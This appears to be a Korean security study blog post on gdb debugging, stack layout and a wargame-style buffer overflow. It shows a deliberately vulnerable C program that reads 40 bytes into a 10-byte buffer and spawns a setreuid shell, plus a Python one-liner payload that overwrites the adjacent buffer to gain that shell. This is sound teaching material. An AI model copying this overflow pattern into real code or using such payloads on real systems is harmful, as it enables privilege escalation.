Security/리버싱
정보보안 스터디 - 17주차 5일 - 디버깅, 스택 구조 파악
wonder12
2023. 2. 7. 07:30
☞ 기초 내용
main함수 인자값
argc 인자개수 : 실행파일이름으로 고정 ----------------- argv 인자내용 : char형 포인터 배열 ----------------- env 환경변수 ---------------- |
디버깅 후 스택 구조 파악
mov 0x8(%ebp), %esi
ebp+8바이트 즉 ebp기준 +8바이트 값을 줌
16진수
9이후부터
a b c d e f 문자사용
9 a b v d e f 10 11 12 13 14 15 16 17 18 19 1A 1B 1C
0x는 16진수라는걸 알리는 표현입니다.
☞ BoF(buffer over flow) 공격 과정
fgets함수에서 10바이트밖에 안되는 buf에 40바이트를 넣는 것이 버퍼오버플로우 발생 원인입니다.
gdb를 이용한 구조 파악을 합니다.
디버깅 권한이 없다면
실제로 c파일을 만들고
gcc -o buf buf.c
실행파일을 만들어서
디버깅을 합니다.
vi buf.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10]; char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); }
}
gdb -q buf
확인 결과 이렇게 구조를 파악할 수 있습니다.
여기서 16진수로
0x18은 24, 0x28은 40입니다.
BoF 실시
10 바이트가 할당된 buf에 a 10개를 넣고
dummy에 6 개를 넣으면
buf2순서가 오기 때문에 순서에 맞게 go를 입력해주면
딱 if조건문이 맞아떨어집니다.
python -c 'print "a"*16+"go"'
>> aaaaaaaaaaaaaaaago
그러면서 setreuid 다음권한이 3010, 3010= level10 으로 되고
/bin/bash 가 실행됩니다.